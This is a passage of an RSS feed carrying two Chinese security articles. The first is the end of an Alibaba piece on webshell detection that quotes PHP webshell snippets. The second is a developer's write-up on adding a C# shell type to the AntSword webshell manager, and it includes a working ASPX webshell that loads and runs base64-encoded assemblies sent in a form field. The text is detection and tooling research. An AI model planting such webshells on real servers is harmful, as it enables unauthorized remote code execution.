$$_GET[&#39;var_name&#39;]=$_GET[&#39;cmd&#39;];</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">        system($a);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">业内通用做法-执行强制干预</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">以PHP举例，业内对于上述对抗惯用的做法是，通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。</span></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.35648148148148145" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=611b6a0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibthJpkicRtw4bELfd0liaxnbpQ1tLw1MvRfSzYYEfqbGKbcxSQjwVcT6Zw%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">这种方案遇到新版本的特征，通过修改zend引擎需要不断兼容，工程量巨大。同时如果暴力的进行执行干预、污点传递，容易产生大量误报。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><h3 style="margin-top: 5px;margin-bottom: 5px;outline: 0px;font-size: 18px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">模拟污点检测实现漏/误报的平衡</span></strong></span></h3><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">从“误报”的种类区分，共有两种类型。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">•<span style="outline: 0px;max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;">    </span></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">业务性误报</span></strong><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">：</span></strong><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">这种类型的误报顾名思义，开发者部署正常的业务代码，检测引擎将其识别为“Webshell”，这个原因是检测引擎对误报的控制程度不够。</span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">•<span style="outline: 0px;max-width: 100%;font-variant-numeric: normal;font-variant-east-asian: normal;font-stretch: normal;line-height: normal;">    </span></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">构造性误报：</span></strong><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">在攻防对抗中，攻击者在尝试构造绕过样本中触发的异常检测点，又或者是在特定版本比较苛刻的利用条件。较业务性误报而言，构造性“误报”大多为对抗过程中的异常层。</span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">这一类型的误报，在实际的业务场景中，开发者不会写这种类型的代码，不会产生业务性误报。举个例子：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">eval($a); </span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><pre style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></pre><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">php 5.3以下版本register_globals默认开启的全局变量配置，url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本，一些缺乏安全经验的人第一眼看到此代码以为是误报。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全是动态博弈的过程，在过度追求高检出的同时，也会引入大量误报。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">模拟污点检测的最大优势在于有利于平衡误报和漏报，引擎内置了各种降误报的机制，同时模拟较为真实的运行结果，极大降低了误报率。Webshell检测能力作为基础的云安全能力，服务阿里云的广大客户，如果业务性误报过多，将极大影响客户的使用。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">伏魔计划的愿景：</span></strong></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">对于客户而言，我们通过市场化、公平公开的赏金挑战赛方式，让旗下安全产品直接接受行业生态的检验，客户在选择产品的时候，可以综合考虑该产品的赏金测评结果，从而做出更好的购买决策。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对于安全产品而言，尤其是攻防类产品，它不是一个静止不变的实体商品，它从研发、交付、到后期维护，本身是一个不断动态变化的实体，需要不断的通过内部视角、外部视角去锤炼安全能力。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/>对于行业而言，赏金挑战赛不是一锤子买卖，一次锣鼓喧天搞完就结束，而是要长期持续举办。能力强不是自己说说而已，能力水位需要得到外部视角的不断验证。</span></p><p><br/></p>



<p><a href="https://security.alibaba.com/online/detail?type=1%5cx26amp;id=114%5cx26amp;tab=1">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7b2640ee&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484495%26idx%3D1%26sn%3D5acee617d56b9f502b0e64122b4f3c17%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Jan 2022 18:45:00 +0800</pubDate>
    </item>
    <item>
      <title>聊聊新类型ASPXCSharp</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484424&amp;idx=1&amp;sn=c2e2fc4a34fdac5369c1b5a266195912</link>
      <description>聊聊蚁剑新类型ASPXCsharp与ASP.NET下的内存马</description>
      <content:encoded><![CDATA[<p>
原创 <span>yzddMr6</span> <span>2022-01-07 00:28</span> <span style="display: inline-block;"></span>
</p>

<p>聊聊蚁剑新类型ASPXCsharp与ASP.NET下的内存马</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e2039959&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy283BxickmK4z7ORicI2161KCJAicSRVStDGKF6CEpcc1s2X8MSotXUBI7B7yEwCCNibYYicIr4yhF31Xw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: center;"><span style="font-size: 17px;background-color: rgb(0, 0, 0);color: rgb(255, 255, 255);"><strong>前言</strong></span></h2><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;"><img class="rich_pages wxw-img" data-ratio="1.1904761904761905" style="width: 35px;height: 42px;" data-type="jpeg" data-w="63" src="https://wechat2rss.xlab.app/img-proxy/?k=5076dda1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3Ac0AUbqIvBg5yWOeM2yTBSLpzib0RXa3bOGeSOXGAF6sHziblAMKb00AKgPlB8VCefK0EAAJySMqA%2F640%3Fwx_fmt%3Djpeg"/> 最近花了点时间，给蚁剑加上了C#的shell类型。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">其实蚁剑在实现jscript加载assembly之后，jscript已经可以实现所有C#可以实现的功能：<a href="http://yzddmr6.com/posts/jscript-load-csharp-assembly/" target="_blank">http://yzddmr6.com/posts/jscript-load-csharp-assembly/</a></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">这次增加主要是有几点考虑：</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">    1. Jscript的shell出现很容易被杀。我还没有见过用jscript写的项目，web目录下面出现了Jscript文件</span><span style="font-size: 14px;color: rgb(255, 76, 0);"><strong>99.99%</strong></span><span style="font-size: 14px;">就是 Webshell，特征更明显一些。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">    2. Jscript的语法属实恶心。没有啥文档，坑全部靠踩。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">    3. C#类型可以兼容asp.net 各种内存马，Jscript无法做到。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">本文记录一下自己在开发设计的过程中，遇到的一些问题以及自己的思考。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;text-align: center;"><span style="font-size: 17px;background-color: rgb(0, 0, 0);color: rgb(255, 255, 255);"><strong>自定义类名</strong></span></h2><p><span style="font-size: 17px;"><strong><br/></strong></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">其实一开始遇到的问题是无法自定义类名的问题。c#跟java有一点不同的是，java的 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">newInstance</span><span style="font-size: 14px;"> 是不需要指定 type 的，只要有Class对象就可以实例化。但是c#在实例化的时候必须要指定实例化的type，这也意味着我们所有的全限定类名必须要一样。</span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">冰蝎默认类名都是 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">U</span><span style="font-size: 14px;">，就建在根命名空间下。每个 Payload 是单独编译的。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">哥斯拉同样采用了这种机制，实例化的类名是 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">LY</span><span style="font-size: 14px;">。但是因为哥斯拉采用的方式是一次性把Payload 都打到内存里然后反射调用，所以可以把所有的基础 Payload 都编译到一个dll里面。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">但是这样开发Payload的时候会很难受，因为在同一个项目下面都用一个固定的类名，编译器是会报冲突的。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1" data-s="300,640" style="width: 31px;height: 31px;" data-type="jpeg" data-w="48" src="https://wechat2rss.xlab.app/img-proxy/?k=924af117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy060lXtb8YklejbUq0pljIEibBNv4ymNEficY0hrp4M7ZDfLI7CkfRyjeMKzWZV79URWOicIrD7viaGCw%2F640%3Fwx_fmt%3Djpeg"/> <span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">后来想到了一种取巧的办法，用 python 命令行调用编译程序，在编译之前把类名都统一替换掉。</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">暂时解决了问题，但是还是感觉不够优雅。</span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><strong><span style="font-size: 14px;">那么有没有什么办法可以动态获取到assembly的type呢？</span></strong><span style="font-size: 14px;"></span></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-size: 14px;">翻了翻手册，发现以下方法:</span></p><p style="min-height: 24px;"><span style="font-size: 14px;"><br/></span></p><table><tbody><tr style="height: 33px;"><td width="139.66666666666666" style="border-color: rgb(217, 217, 217);word-break: break-all;"><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">GetType()</span></p></td><td width="336.6666666666667" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(23, 23, 23);">获取当前实例的 </span>Type<span style="color: rgb(23, 23, 23);">。(继承自 </span>Object<span style="color: rgb(23, 23, 23);">)</span></span></p></td></tr><tr style="height: 33px;"><td width="139.66666666666666" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">GetTypes()</span></p></td><td width="336.6666666666667" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;text-align: left;"><span style="color: rgb(23, 23, 23);font-size: 14px;">获取此程序集中定义的类型。</span></p></td></tr><tr style="height: 33px;"><td width="139.66666666666666" style="border-color: rgb(217, 217, 217);"><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">GetName()</span></p></td><td width="336.6666666666667" style="border-color: rgb(217, 217, 217);word-break: break-all;"><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(23, 23, 23);">获取此程序集的 </span>AssemblyName<span style="color: rgb(23, 23, 23);">。</span></span></p></td></tr></tbody></table><p style="min-height: 24px;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;"><span style="font-size: 14px;">写代码测试一下:</span></p><p style="min-height: 24px;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">String Payload = <span style="color: #98c379;line-height: 26px;">&#34;xxx&#34;</span>;<br/>System.Reflection.Assembly a = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));<br/>Console.WriteLine(<span style="color: #98c379;line-height: 26px;">&#34;Assembly.GetName: &#34;</span>+a.GetName());<br/>Console.WriteLine(<span style="color: #98c379;line-height: 26px;">&#34;Assembly.GetName.Name: &#34;</span>+a.GetName().Name);<br/>Console.WriteLine(<span style="color: #98c379;line-height: 26px;">&#34;Assembly.GetType: &#34;</span>+a.GetType());<br/>Console.WriteLine(<span style="color: #98c379;line-height: 26px;">&#34;Assembly.GetTypes[0]: &#34;</span>+a.GetTypes()[<span style="color: #d19a66;line-height: 26px;">0</span>]);<br/>Console.WriteLine(<span style="color: #98c379;line-height: 26px;">&#34;Assembly.GetTypes[0].FullName: &#34;</span>+a.GetTypes()[<span style="color: #d19a66;line-height: 26px;">0</span>].FullName);<br/></code></pre></section><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">output:</span></p><p style="min-height: 24px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"><br/></span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Assembly.GetName: BASE_Info, Version=<span style="color: #d19a66;line-height: 26px;">0.0</span><span style="color: #d19a66;line-height: 26px;">.0</span><span style="color: #d19a66;line-height: 26px;">.0</span>, Culture=neutral, PublicKeyToken=<span style="color: #56b6c2;line-height: 26px;">null</span><br/>Assembly.GetName.Name: BASE_Info<br/>Assembly.GetType: System.Reflection.Assembly<br/>Assembly.GetTypes[<span style="color: #d19a66;line-height: 26px;">0</span>]: BASE_Info.Run<br/>Assembly.GetTypes[<span style="color: #d19a66;line-height: 26px;">0</span>].FullName: BASE_Info.Run<br/></code></pre></section><p style="min-height: 24px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;color: rgb(255, 104, 39);">Assembly.GetTypes</span><span style="font-size: 14px;"> 返回的是一个列表，而Payload里面我们通常只会定义一个类，所以可以通过 </span><span style="font-size: 14px;color: rgb(255, 104, 39);">Assembly.GetTypes[0] </span><span style="font-size: 14px;">来获取Payload类的 type。</span></p><p style="min-height: 24px;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">WebShell 中可以采用如下写法。</span></p><p style="min-height: 24px;text-align: left;"><br/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/k8mFfEmdQe0OhvTxUAjueEJutNiaZfVJ2C1It6JIAtes2a5wYHpjXLCfwvEkSdiboaYhtcZRofd3kZ9icBQ5niblvQf2CNYCeBeU/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">&lt;%@ Page Language=<span style="color: #98c379;line-height: 26px;">&#34;c#&#34;</span>%&gt;<br/>&lt;%<br/>String Payload = Request.Form[<span style="color: #98c379;line-height: 26px;">&#34;ant&#34;</span>];<br/><span style="color: #c678dd;line-height: 26px;">if</span> (Payload != <span style="color: #56b6c2;line-height: 26px;">null</span>){<br/>  System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));<br/>  assembly.CreateInstance(assembly.GetTypes()[<span style="color: #d19a66;line-height: 26px;">0</span>].FullName).Equals(Context);<br/>}<br/>%&gt;<br/></code></pre></section><p style="min-height: 24px;text-align: left;"><br/></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="min-height: 24px;text-align: left;"><span style="font-size: 14px;">这里又跟java的</span><span style="font-size: 14px;color: rgb(255, 104, 39);">defineClass</span><span style="font-size: 14px;">不太一样，</span><span style="font-size: 14px;color: rgb(255, 104, 39);">defineClass</span><span style="font-size: 14px;">只能打进去一个类，而c#的</span><span style="font-size: 14px;color: rgb(255, 104, 